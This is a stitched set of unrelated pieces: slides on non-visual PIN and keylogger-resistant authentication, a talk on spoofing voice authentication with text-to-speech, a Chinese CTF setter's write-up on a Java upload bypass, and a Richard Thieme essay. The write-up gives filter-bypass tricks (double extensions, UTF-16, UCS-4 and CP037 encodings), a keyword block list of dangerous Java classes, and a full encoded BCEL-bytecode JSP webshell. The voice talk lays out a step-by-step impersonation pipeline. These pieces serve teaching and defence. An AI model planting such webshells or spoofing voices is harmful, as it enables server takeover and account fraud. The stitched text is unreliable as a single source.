Comparing authentication
performance of audio and
haptic stimuli as PIN.
2
What is the best
non-visual PIN?
How can we make an invisible PIN?
System
Make a PIN invisible using invisible cues and a new interaction method
A sequence of audio cues (sound)
Audio PIN
5
4
3
9
computer speech
inherently invisible to everyone.
Haptic PIN
vibration patterns
or tactile cues (tactons)
Our Alphabet Cues: example sets
System
Haptics
Audio
0
1
2
3
4
System
Haptics
Audio
0
1
2
3
4
5
6
7
8
9
Our Alphabet Cues: example sets
Our Cues
System
Use these sets to make a PIN
Our Cues
System
Audio
0
1
2
3
4
5
6
7
8
9
computer speech
Haptic
vibration patterns
ORDERED SET OF POSSIBLE CUES
Mapping to Interface
System
C0 C1 C2 C3 ...
... Cn
Generalizing: cues with order
The Wheel GUI
1 to 1 assignment of cues to slots
Mapping to Interface
System
C0 C1 C2 C3 ...
... Cn
Generalizing: cues with order
C8
C9
C0
C1
C2
C3
C4
C5
C6
C7
Start
Map every cue to a slot
•randomly
•preserving order
The Wheel GUI
Interaction
System
C9 C1 C6 C3
Letʼs make a password using the cues
System Randomize slice-cue
assignment preserving order
User move the finger over the
slices and search the right cue
User selects the cue
clicking the center of the wheel
C8
C9
C0
C1
C2
C3
C4
C5
C6
C7
Interaction
System
C9 C1 C6 C3
Letʼs make a password using the cues
C8
C9
C0
C1
C2
C3
C4
C5
C6
C7
System Randomize slice-cue
assignment preserving order
User move the finger over the
slices and search the right cue
User selects the cue
clicking the center of the wheel
Interaction
System
C9 C1 C6 C3
Letʼs make a password using the cues
C8
C9
C0
C1
C2
C3
C4
C5
C6
C7
System Randomize slice-cue
assignment preserving order
User move the finger over the
slices and search the right cue
User selects the cue
clicking the center of the wheel
Interaction
System
C9 C1 C6 C3
Letʼs make a password using the cues
C8
C9
C0
C1
C2
C3
C4
C5
C6
C7
System Randomize slice-cue
assignment preserving order
User move the finger over the
slices and search the right cue
User selects the cue
clicking the center of the wheel
Interaction
System
C9 C1 C6 C3
Letʼs make a password using the cues
System Randomize slice-cue
assignment preserving order
User move the finger over the
slices and search the right cue
User selects the cue
clicking the center of the wheel
C3
C4
C5
C6
C7
C8
C9
C0
C1
C2
Start
Interaction map
System
Cue
Assignment
Search
Navigation
Selection
Ordered Randomization
Authentication
Denied
Authentication
Granted
In practice: demo
System
Inserting the PIN 1 2 4 3
Evaluation: 2 studies
Evaluation
To gauge our interface we conducted 2 experiments
Pilot Study
Test cue recognition rate
Evaluate if cues are
perceptually distinct
(recognition time and error)
User Study
Evaluation of interface to
explore 2 trade-offs.
Audio VS Haptics
Large alphabet VS
Small alphabet
Pilot Study - Highlights
Evaluation
•Simple recognition task. Simplified system.
•Mean cue recognition time: 2.25s
•Mean error:14% (for the large haptic alphabet)
Mid-length 80ms element were the most challenging
User Study: analyze the trade-offs
Evaluation
We analyze 2 trade offs, maintaining a security level of 1/10000
(the security of a standard numerical 4 digit PIN).
Audio
Haptics
4 digits PIN
0,1,2,3,4,5,6,7,8,9
6 digits PIN*
0,1,2,3,4
*The 6 digits PIN test is to compare Phone Lock against previous work
We are interested in authentication time and errors.
Audio VS Haptics
1
VS
Large alphabet
(short PIN)
Small alphabet
(long PIN)
2
Audio
Haptics
PIN 6
PIN 4
PIN 6
PIN 4
Results
Trade-offs (2-way ANOVA)
Modality significant (p<0.01 )
PIN length not significant
Overall
ANOVA and post-hoc pair-
wise t-tests significants (p<0.01 ).
1. Experiment Results: Authentication Time
Results
Mean error 7% (<14% pilot)
Effect of Modality and PIN
length and their interaction
were not significant.
2. Experiment Results: Authentication Errors
Results
Discussion - Highlights
•Audio > Haptics.
Is because it is more familiar?
CHI 2010
•Better performing than previous similar systems
•Error rate: 7% study < 14% pilot
People understood how to navigate the interface
Contributions
Results
•Introducing the Invisible Password model using audio and
tactile cues
•Introducing one possible interface and method for mobile
phones (Phone Lock) to use with Haptic and Audio PINs
•Preliminary user tests suggests that Invisible Password
thought haptic and audio have a lot of potential
•They are good fit for tangible user interfaces
•Simple cognitive task such as recognition is good
Spinlock: a Single-Cue Haptic and Audio PIN Input
Technique for Authentication
The SpinLock
Bianchi, A., Oakley, I., Kwon, D. Spinlock: a Single-Cue Haptic and Audio PIN Input Technique for Authentication.
To Appear in Proceedings of HAID 2011, LNCS, Springer, 2011.
The problem with haptic passwords
Motivations
Haptic Password using tactons is based on recognition:
high cognitive load, memorability issues, high error rates and input time
The problem with haptic: example
Motivations
The problem with haptic: example
Motivations
VS
Can we create an interface with only 1 tactile cue
instead of using many?
Can we build an interface with a different interaction methods that
doesnʼt require recognition but only counting?
Interaction principle
Implementation
Using a similar interaction of a safe dial:
directions + numbers (e.g. 2 left, 3 right, 4 left...)
Implementation for a phone
Password are a sequence of direction-number of buzzes or beeps
Implemented for phone devices
Using haptics and audio output
Implementation
How it works: example
Implementation
User Study Planning
User study to compare performance of audio vs haptics, with
different password sizes.
Evaluation
Hypothesis 1:
counting is faster than recognition
Hypothesis 2:
counting is less error prone than recognition
Hypothesis 3:
counting comports smaller cognitive load than recognition
The user study
2 modalities x 2 PIN complexity
haptic/audio
numbers 1-5 / numbers 1-10
12 participants (7 male, 5 female with age between 22 and 30 years)
15 trials (first 5 as training)= 480 complete correct PIN entries and
1920 individual data input
PIN randomly generated
Evaluation
User Study Balancing
P I N c o m p l e x i t y w a s
b a l a n c e d
a m o n g
participants
Modality was balanced
within each PIN complexity
block
Repeated measures experiment
PIN
Modality
User 1
Short
Haptic
User 2
Long
Haptic
User 3
Short
Haptic
User 4
Long
Audio
User 5
Short
Audio
User 6
Long
Audio
User 7
Short
Haptic
User 8
Long
Haptic
User 9
Short
Haptic
User 10
Long
Audio
User 11
Short
Audio
User 12
Long
Audio
Evaluation
User Study Setup
Quiet room
Procedure:
Demographic + Instruction + Free test + 4 studies + TLX
Mobile devices + connected to PC and Bluetooth for generating
haptics
All data were tested using
two-way repeated measures
ANOVAs.
Evaluation
Results: time and errors
Results
Time: significant effect on modality and PIN complexity (p<0.05)
but no interaction
Error: significant effect only on modality (p<0.05)
Results
Time: significant effect on modality and PIN complexity (p<0.05)
but no interaction
Error: significant effect only on modality (p<0.05)
Results: time and errors
Time: significant effect on modality and PIN complexity (p<0.05)
but no interaction
Error: significant effect only on modality (p<0.05)
Results
Results: time and errors
The two-way ANOVA on the overall workload of the TLX showed a
significant effect of modality (p=0.002) but not PIN complexity
Results
Results: cognitive load
Discussion
Haptic modality more challenging but preferred as it was
more “private”.
HAPTIC
Significant differences were observed in the mean PIN entry times,
failed authentication rates and overall workload.
One possible explanation for this is system latency.
PIN COMPLEXITY
PIN complexity, on the other hand, resulted in increased task
completion times, but had no significant effect on other metrics.
Results
Discussion
82% of error trials involved a mistake in only one PIN item.
The majority of errors (78%) involved entering digits one higher or
lower than the target item.
That participants were typically aware of such errors (= resets)
Results
Comparison
Results
Spinlock
PhoneLock
Spinlock also performs well compared to previous systems
15.4 seconds and 6%
18.7 seconds and 7% errors
Haptic Comparison
Results
Spinlock
PhoneLock
Haptic Spinlock system improves 30% over that reported in PhoneLock
Haptic Comparison
Results
Spinloc
PhoneLock
Conclusions
Results
ACCEPTED
ACCEPTED
ACCEPTED
User study to compare performance of audio vs haptics, with
different password sizes.
Hypothesis 1:
counting is faster than recognition
Hypothesis 2:
counting is less error prone than recognition
Hypothesis 3:
counting comports smaller cognitive load than recognition
THE ENEMY WITHIN:
PROTECTED KEY COMMUNICATION
FOR UNTRUSTED TERMINALS
PART II
SOFTWARE MEDIATED INPUT
UNTRUSTED TERMINALS
The password can be kept secret by the user...
1m.50.1337
...and encryption can keep it secure within the network...
...but it still has to be entered “in the clear” at the terminal!
keystroke loggers are a major method of password
observation & compromise.
‣OS-level loggers on pwned machines
‣Malicious logging hardware
BEING RECORDED
Many examples of malware install logging software...
...as do stalkers such as jealous husbands,
employers, governments...
Some UI elements that may be logged:
‣Keystrokes
‣Mouse clicks
‣Screenshots
‣Mouse movements
PASSWORD MANAGEMENT
Computers & browsers now commonly contain
“Keychain” password management software...
...but that’s no help on an untrusted public terminal...
...and sometimes you just have
no choice but to use that
internet café in Uzbekistan.
• Forced password changes
• Damage control
• Image-based access methods
• Changing security questions
• One-time-password via SMS
• Phone theft gives bonus account access
• One-time-PIN token
• Reduces value of stealing password
• Printed list of one-time password modifiers
SOME WEB PROTECTIONS
Few sites offer multiple options, and in many cases not even one!
• Can’t verify integrity of system
• Usually can’t install or run application software
• Can access pretty much any web content
PROBLEM SUMMARY
Ideal outcome:
Application software for increased resistance to
credential loss & replay attack for any website
Public terminal constraints:
BUT
Goal: obfuscate data entry via simple, minimally tedious web mechanics
• Defense: “Scissor” password copy-paste
• Counterattack: Clipboard logging
• Defense: Character select-drag-drop
• Defense: Onscreen keyboards
• Counterattack: Mouse click screen region capture
• Defense: Chaff logs via tedious extraneous character entry
• Counterattack: Log mining in concert with screen & mouse
logging and timestamping (theoretical)
COMMON NAÏVE APPROACHES
• Form grabbing malware hooks browser form submit pre-encryption
• e.g. Online banking theft trojans ZeuS, SpyEye
• Represents majority of password-stealing trojans
• However:
• Limited platform/browser support (currently Windows-only)
• There is no UI mechanism that can defend against this tactic anyway
• We are primarily interested in interface design
• Still worth defending against UI-device-level loggers
WHAT ABOUT FORM GRABBERS?
• Keep any sensitive text entirely out of key log
• Minimize data leakage via other UI logging mechanisms
• Novel interaction methods while trying to minimize tedium
• Support evolutionary ecosystem: force attackers to adapt
• Custom interface element production via JavaScript injection:
BASIC APPROACH
javascript:void((function() {var element=document.createElement('script');
element.setAttribute('type', 'text/javascript'); element.setAttribute('language',
'JavaScript'); element.setAttribute('src', 'https://path/to/logresist.js');
document.getElementsByTagName("head")[0].appendChild(element);})())
• Key remapper (no mouse)
• User interface metaphor: hunt-and-peck
keyboard
• Can be regenerated on per-keystroke
basis if required
• Susceptible to screen capture, but only
if triggered by keystroke
• Keylog output: encrypted stream equal
in length to plaintext
• Time cost: visual search
ONE-TIME-PAD SCRAMBLER
• Animated key selector
• User interface metaphor: combo lock
• Uses mouse but no clicks
• Susceptible to screen capture, but only if
triggered by keystroke and synchronized
with mouse pointer location history
• Keylog output: string of identical
characters, arbitrary length
• Time cost: visual search plus (variable)
animation
ROTARY INJECTOR
• Auditory stimulus to key location
• User interface metaphor: audio
phone lock
• Immune to screen capture
• Keylog output: string of identical
characters, arbitrary length
• Time cost: fixed animation
AUDIO KEYMAPPER
• Give users choice of obfuscation methods independent
of support offered by web service
• Seed ecosystem of custom methods easy to implement
and select
• Offer modalities not traditionally logged (e.g. audio)
• Force attackers to expend more effort
• Examples of methods from very large potential space
• User evaluation studies yet to be performed
SUMMARY
DESITUATING THE INTERACTION:
PROTECTED KEY TRANSMISSION
FOR PRIVATE DEVICE SOLUTIONS
PART III
HARDWARE MEDIATED INPUT
Using Light Patterns to Secretly Transmit a PIN
Luxpass
PRIVATE DEVICE MEDIATION
1. Different people want different password schemes
CHOICE
and a personal private device is where this is possible
PRIVATE DEVICE MEDIATION
2. We want to move away the interaction from the physical
terminal and a private device can help us in this too!
We shift the problem from authentication to secure
communication chanel
CURRENT PROBLEMS
3. Fast interaction, easy to use
1. Spontaneous interaction - No pairing needed
2. No wireless - Safe against Man In The Middle Attack
X
X O
X
X
Current problems with hardware mediated interaction
PROPOSED MODEL
1) Shift the interaction away from the terminal, on a private
device
2) Avoid wireless to avoid a Man In The Middle (MITM) attack.
3) Secure authentication with no pairing requirements:
you cannot pair a phone to any terminal you will ever use. PKI is not
always possible.
4) Authentication, not identification: RFID can be stolen
more easily than passwords. Also passwords are easier to replace.
5) Must be cheap to make, to install. Easy to use.
WANTED INTERACTION
PHYSICAL PROXIMITY
LUXPASS
LuxPass (under submission)
Encoding a password in light patterns
User
has a
password
Inserts a
password on
mobile phone
Computer +
light scanner
get the signal
and translate it
Authentication
The password
is encoded in
a light signal
(as with Morse)
Input
0001
0010
0011
0100
Light
INPUT ON PRIVATE INTERFACES
LUXPASS: TECHNICAL EVALUATION
- Error rate < 1%
- Plain text transmission time < 1 second
- MD5- 128 bit hashing encryption: 5.5 seconds
Work In Progress - LuxPass Color
LUXPASS COLOR
Work In Progress
MAGNOPASS
Solenoid
Patterns of on/off
magnetic field
Mag Sensor
Conclusions
•
Passwords & PINs are not going away
•
We still need to authenticate with public locations/terminals
•
Generally simple methods can improve their security in potential
observation risk scenarios
•
Diversifying ecosystem of entry methods
•
Mediated obfuscation of entered data
•
Presented novel key entry systems for terminals & private devices
•
Presented software & hardware mediators for observation
resistance
•
Attacks will always be developed – you don’t have to run faster than
the bear, just faster than everyone else! | pdf |
YOUR VOICE IS MY PASSPORT
John Seymour and Azeem Aqil
1
Introduction
Voice is starting to be used for authentication
2
Introduction
Voice is starting to be used for authentication
3
Introduction
Voice is starting to be used for authentication
4
Introduction
Voice is starting to be used for authentication
5
Goal:
Break Voice Authentication
(with minimal effort)
6
Obligatory Sneakers Reference
7
Obligatory Sneakers Reference
And here’s how you do it.
8
• In Sneakers, they social engineered the target in order to record the
exact words they needed
• In practice, this is hard to do
• Luckily, text-to-speech exists
9
10
Overview of Text to Speech (TTS)
▪Essential idea: you give the algorithm text, and it generates the
equivalent audio representation of that text (e.g. Mel Spectrograms)
▪Model learns the mapping between the transcript and audio
▪The way it does this is you give it labeled (transcribed) audio and
feed it into a deep neural network
▪ Generally models are trained on a single person’s voice
▪ Generally deep learning models require a LARGE amount of labeled data
▪ Open source datasets (e.g. Blizzard, LJ Speech)
▪ >24 hours of labeled data to do well
11
Proof of concept
▪
Create an account
▪
Record >30 sentences
▪
Chosen by Lyrebird, same for all users.
▪
Provide a target sentence that Lyrebird will generate.
▪
Apple Siri and Microsoft Speaker Recognition API (Public Beta)
▪
Proof of concept is of limited value from a security standpoint
12
Proof of Concept Demo
13
Open source TTS models
▪Several open source models (Tacotron, Wavenet are best known)
▪ WaveNet generates realistic human sounding output, however, needs to be ‘tuned’
significantly.
▪Tacotron simplifies this process greatly
▪ The production of the feature set (which needs tuning in WaveNet) is replaced by another NN
that works directly off data
▪We use Tacotron
14
Model overview
15
Tacotron v1, Tacotron v2, and WaveNet
16
Collecting Data
▪That’s all well and good, but in order to train a model, we need to
feed it data
▪ Can grab audio from e.g. YouTube, but quality/quantity are both important
▪Need to transcribe this data
▪ Youtube/Google Speech API not good enough
▪ We also had to cut pieces with poor quality or with “um”
▪ We had to manually transcribe the data we used for training
▪Most open source models require short (<10 second) snippets of
audio
▪ Use ffmpeg to split the file into chunks
17
Data Augmentation
▪Publicly available data for a specific target is probably limited
▪Transcribing is time intensive since it must be done manually
▪Need LARGE amount of high quality training data
▪Solution: Augment Data
18
Data Augmentation: Shifting Pitch
▪Slow down and speed up audio to generate new examples
▪Libraries (pydub) available for this
▪Measured how far pitch can be raised/lowered by recording “Hey
Siri” and testing how much speed up/slowdown would be accepted
▪ 0.88x to 1.21x for our tests
▪ YMMV for exact parameter (probably different for every person)
19
Data Augmentation: Transfer Learning
1.Initially train on large open source dataset (Blizzard, LJSpeech)
2.Get a good model, stop training
3.Replace open source dataset with the target data
4.Continue to train
20
Transfer Learning Demo
21
Putting it all together
1.Scrape data from target (e.g. Youtube)
2.Select high-quality samples
3.Transcribe and chunk audio
4.Augment audio by shifting pitch
5.Train general TTS model on open source dataset
6.Replace general model training data with target data; finish training
7.Synthesize voice from model
22
Our work in perspective (ML for offense)
▪Attacks on ML systems
▪ Adversarial Attacks
▪ Most prior work attacking voice systems utilize GANs
▪ Pro: hiding commands within benign-sounding audio
▪ Con: method is currently brittle
▪ (We use the simpler approach of generating speech for a given user)
▪ Poisoning the Well
▪ Privacy/Differential Privacy
▪
Attacks using ML systems
▪ Phishing
▪ DeepFakes
▪ Robotics/Social Engineering
23
Mitigation: MFA
▪Defense in Depth
▪Potential issue: Speaker Recognition with unknown vocabulary is
hard
▪Potential issue: Passphrases may not be kept secret
24
Image credit: XKCD.com
Mitigation: Detect CGA
25
Conclusions
▪Speaker authentication and speaker recognition are different
problems. Recognition is only a [weak] signal for “authenticating”.
▪Speaker authentication can be broken if the attacker has speech
data of the target and knows the authentication prompt.
▪Although most TTS systems require 24 hours of speech to train,
transfer learning is an effective way to reduce that time to an amount
realistic for an attacker to abuse. Transfer learning is effective for
reducing data requirements generally.
▪In conclusion, it’s relatively easy to spoof someone’s voice
▪ Will only get easier over time
26
Final note
27
Be afraid. Be very afraid.
?
John Seymour and Azeem Aqil | pdf |
1
LPHCTF bypass出题⼈视⻆
N. 绕过后缀
O. 绕过可⻅字符检测
P. 绕过⿊名单检测
@yzddmr6
⾃⼰在L3HCTF中出了⼀道java上传绕过题⽬bypass。其中题⽬中的⼀些trick不仅仅是⽤于CTF出题，
对于实战渗透也是有⼀定的帮助。今天跟⼤家分享⼀下出题时的⼀些思考跟解题细节。
题⽬有三道过滤
后缀jsp/jspx会被替换为空，⽤双写绕过：jsjspp。常规操作
1. 绕过后缀
2. 绕过可⻅字符检测
Plain Text
复制代码
public static String checkExt(String ext) {
ext = ext.toLowerCase();
String[] blackExtList = {
"jsp", "jspx"
};
for (String blackExt : blackExtList) {
if (ext.contains(blackExt)) {
ext = ext.replace(blackExt, "");
}
}
return ext;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
第⼆阶段题⽬中直接⽤getString获取FileItem的内容，然后传⼊了checkValidChars函数检测。
checkValidChars函数主要功能是检测content中是否存在连着两个以上的字⺟数字，如果匹配成功则提
示上传失败。
这⾥其实是模拟了⼀个WAF的场景，因为很多WAF对于⽂件上传都会有很粗暴的拦截，碰到jsp标签就
给⼲死。
乍⼀看似乎并不可能被绕过，因为只要连着两个字⺟数字就会被检测到，让⼈不由得想起了CTF经典题
⽬《php⽆字⺟数字webshell》。但是java不像php⼀样⽀持变量函数，需要从其他地⽅下⼿。
这⾥就⽤到了⼀个trick：FileItem.getString()对于编码的解析跟Tomcat解析jsp是有差异的，默认为
ISO-8859-1
Plain Text
复制代码
String content = item.getString();
boolean check = checkValidChars(content);
...
public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}
1
2
3
4
5
6
7
8
Plain Text
复制代码
public String getString() {
byte[] rawdata = this.get();
String charset = this.getCharSet();
if (charset == null) {
charset = "ISO-8859-1";
}
try {
return new String(rawdata, charset);
} catch (UnsupportedEncodingException var4) {
return new String(rawdata);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
3
⽽Tomcat对于jsp编码的解析主要在org.apache.jasper.compiler.EncodingDetector这个类，其中有很
多默认⽤ISO-8859-1⽆法直接解析的编码。
4
Plain Text
复制代码
private EncodingDetector.BomResult parseBom(byte[] b4, int count) {
if (count < 2) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b0 = b4[0] & 255;
int b1 = b4[1] & 255;
if (b0 == 254 && b1 == 255) {
return new EncodingDetector.BomResult("UTF-16BE", 2);
} else if (b0 == 255 && b1 == 254) {
return new EncodingDetector.BomResult("UTF-16LE", 2);
} else if (count < 3) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b2 = b4[2] & 255;
if (b0 == 239 && b1 == 187 && b2 == 191) {
return new EncodingDetector.BomResult("UTF-8", 3);
} else if (count < 4) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b3 = b4[3] & 255;
if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {
return new EncodingDetector.BomResult("ISO-10646-
UCS-4", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0)
{
return new EncodingDetector.BomResult("ISO-10646-
UCS-4", 0);
} else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0)
{
return new EncodingDetector.BomResult("ISO-10646-
UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0)
{
return new EncodingDetector.BomResult("ISO-10646-
UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63)
{
return new EncodingDetector.BomResult("UTF-16BE",
0);
} else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0)
{
return new EncodingDetector.BomResult("UTF-16LE",
0);
} else {
return b0 == 76 && b1 == 111 && b2 == 167 && b3 ==
148 ? new EncodingDetector.BomResult("CP037", 0) : new
EncodingDetector.BomResult("UTF-8", 0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
5
利⽤两者对于编码的识别结果不同，从⽽造成解析差异，进⾏绕过。
在看到的wp中基本都是利⽤UTF-16绕过，但是从函数中可以看到，Tomcat还⽀持另⼀些不常⻅编码，
如UCS-4和CP037。这两种编码⽐较少⻅，并且部分后端语⾔是不⽀持直接解析的。
也就是说，如果遇到WAF或者webshell检测引擎，在⽂件上传时⾮常粗暴的检测了jsp的标签，利⽤特
殊的编码即可造成降维打击，随便绕过。
3. 绕过⿊名单检测
}
}
}
}
36
37
38
39
6
这⾥也是⽐较有意思的⼀步，模拟了⼀个端上暴⼒webshell查杀引擎。
常⻅的webshell关键字都会被拦截，其他的⼀些编码如unicode，html实体，cdata拆分也都加了关键
字。并且加了⽂件类关键字，防⽌⼆次写⽂件进⾏绕过。甚⾄拦截了request对象，禁⽌直接传⼊参
数。
题⽬的定位为开放性题⽬，其实绕过的办法很多。看到很多wp都是利⽤远程加载class或者jar来完成
rce：
https://www.anquanke.com/post/id/259487
https://y4tacker.blog.csdn.net/article/details/121363886
当时为了降低题⽬难度，环境没有设置不出⽹，并且jdk也是⽐较低的版本。那么如果题⽬设置了不出⽹
环境⼜该怎么利⽤呢？
在这⾥提⼀种不出⽹也可利⽤的姿势，利⽤bcel ClassLoader绕过。
以三梦的github项⽬为例：JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells
(github.com)
bcel字节码webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的时
候会解析并加载bcel字节码。但是题⽬中把loadClass以及newInstance关键字都给封禁了。
那么问题就变成了如何触发loadClass⽅法
Plain Text
复制代码
String[] blackWordsList = {
//危险关键字
"newInstance", "Runtime", "invoke", "ProcessBuilder",
"loadClass", "ScriptEngine",
"setAccessible", "JdbcRowSetImpl", "ELProcessor",
"ELManager", "TemplatesImpl", "lookup",
"readObject","defineClass",
//写⽂件
"File", "Writer", "Stream", "commons",
//request
"request", "Request",
//特殊编码也处理⼀下
"\\u", "CDATA", "&#"
//这下总安全了吧
};
1
2
3
4
5
6
7
8
9
10
11
12
13
7
实际上Class.forName在查找类的时候，如果使⽤了三个参数的重载⽅法使⽤⾃定义类加载器，就会调
⽤其类加载器的loadClass⽅法。
仅仅从源码看不出来这⼀点，forName0经过了⼀层native⽅法。下个断点从堆栈⾥可以看到这⼀过程。
具体实现如下：
其中bcel字节码⽣成的代码可以参考三梦师傅的项⽬：https://github.com/threedr3am/JSP-
Webshells/blob/master/jsp/1/BcelEvil.java
Plain Text
复制代码
<%
Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$
d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$$E$b8$w$8aP$l6$ee$w$dd$e2
$da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7
d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$e
e1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5O
B$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$f
c$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8
am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c
0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d
4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$
b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$
b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3
e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2
$8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$$60$bdy$
P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$
GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new
com.sun.org.apache.bcel.internal.util.ClassLoader());
%>
1
2
3
4
5
6
8
另外，⿊名单中⼩写的lookup并不是⾮预期，原本的⽅法确实是⼩写。
绕过是因为很多师傅找到了另⼀个重载⽅法doLookup，这是其中的⼀个预期解。
很多⼈没有注意到这个静态⽅法。因为⽬前⼏乎所有jndi注⼊⽂章都说到的是第⼀个点lookup，⽽
doLookup这个触发点需要翻看源码才能找到。
此题⽬为开放性题⽬，姿势很多。出题的本意就是想看看⼤家在遇到市⾯上⼤部分姿势都被ban掉的情
况下会构造出什么有意思的绕过。 | pdf |
Mind Games
1
Introduction to
Species, Lost in Apple-eating Time
I have to admit, I love this wee little story. It’s the best I could do
at the time, trying to express the unthinkable in words.
It was the unthinkable, I think, that I was thinking, walking
around the park near which I live in Fox Point, Wisconsin, thinking,
just thinking. Sometimes I think aloud and sometimes I practice
speeches as I walk, and I look pretty wild to those who don’t, don’t
walk and talk and think with single-minded intensity, focused on
what’s inside, oblivious to and not caring how it looks.
Once a young person knows that the meaningful compass is
inside, they pretty much own themselves (of course, that inside self
is formed in and by a community, we are social animals after all, and
the communities we choose do matter, as I often said, preaching to
the faithful (more or less) on Sunday mornings).
But I digress. This is no place for exploring paradoxical complex-
ities.... or maybe it is, since the walls of a self look like cellular walls
inside the self or cell but like modular adjacencies when seen as parts
of a whole, making up an organism, and that’s what this story is
about... the angle, the point of view, the frame of reference.
Anyway, I was walking around the park, thinking of how as
what-we-arbitrarily-call species evolve, the boundaries between
Richard Thieme
2
them disappear. The names we give them go away. (Are you notic-
ing common themes in these stories?) Think of that long banquet
table at which each generation is represented by a person, we are
only one person or two away from Einstein and only a hundred or
so people away from a neolithic ancestor. Each person can talk to the
one beside him or her, maybe to someone a couple of seats away, but
pretty soon the conversation disintegrates into gibberish.
Species link to one another in a similar way. And species inhabit
the universe like plankton inhabit the seas, by gazillions. Way too
many to think.
And as intelligent species (and aren’t they all?) link up, I saw as
it were in a fast flash forward mode, they form larger and larger
organic unities, mind to mind, the language with which they previ-
ously described themselves breaking in the process (as cultures
among humans mesh and merge and self-transcend), new languages
emerging, until the animated sentient matter inhabiting the entire
known universe is like one immense organism, parts of which like
living cells articulate each through its own aperture or cultural or
planetary or galactic frame a way of seeing and thinking about what
exists.
It must be so, as Faisal (the character.not the real one) said in
Lawrence of Arabia (the film, not the book).
One might even think the goal of the universe, if such exists, and
I know evolutionary theory says it doesn’t, but what if consciousness
is both a precondition essential to the emergence of conscious forms
of life and an emergent property? and what if the goal is to link up
until everything is connected and aware of it and aware of itself
aware of it and sees the links at every level, bottom to top and all the
way back down? And what if that singular being, while thinking it
has completed a task, happens to notice a knot in a thread in the
tapestry of Everything, a snag, a little rip in the fabric, in the skein as
Mind Games
3
it were, and leans down and sees a wee tiny hole and then goes
closer, getting down on its knees, and looks through that wee tiny
hole?
What does it see, outside (as if outside/inside mean anything at
that point)?
What if...
What if the higher consciousness represented by the singular
being’s way of saying or framing addresses the way we, a single
rather primitive species on a planet just becoming aware of itself, a
part of the whole but one with the arrogance of adolescence, when it
thinks of ourselves/ourSelf/itself in our current lowly form, as if we
are just our little self or selves and not part of the whole at all?
Speaks to us, as it were? Speaks to itSelf/ourSelves, that is? Speaks to
the primitive form or larval stage to which we might regress if we
look through that wee tiny aperture and get the shock of our lives?
That universal self/Self, talking to itself... must look like me
walking around the park, seeing this story as an image of the whole,
talking it out to myself as I see and think and frame it, the way the
companion in “Scout’s Honor” talks to Scout who thinks he is what
he thinks and nothing more. Higher bigger Self to smaller public self.
Like when I preached for sixteen years, and I was a well-meaning
Episcopal priest, whacky too in a shamanistic way as one must be to
have one foot in the other world and one foot in this and know how
to move back and forth, one to the other (job description: to be
willing and able to go crazy on behalf of the congregation, then
know how to come home), and I would remind congregations that
the themes that recurred in my sermons were issues I had not
finished working through, that the Self Who Knew, as it were, was
preaching to the self that needs to keep learning (once it was worked
through, the issues would no more surface than a discussion of how
to tie our shoes, since once we master and pass beyond once-difficult
Richard Thieme
4
challenges, they disappear, going down down down).
Oh, about “apples.” A nod to the fruit eaten by Eve, as the story
goes, that meant the end of innocence. But also a nod to a happy time
when my oldest son Aaron and I opened his new present, an Apple
2 computer, one Christmas in Salt Lake City, Utah, thanks to beloved
Adele, my aunt (she and my Uncle Buddy saved my psychic life), a
gift to us all, and our lives changed forever... as I soon would see,
playing Hitchhiker’s Guide to the Galaxy on that primitive Apple with
my son, just as the world would be changed when it opened the
Bigger Box called networked computing.
Mind Games
5
Species, Lost in Apple-eating Time
The moon was the first step down from our front porch.
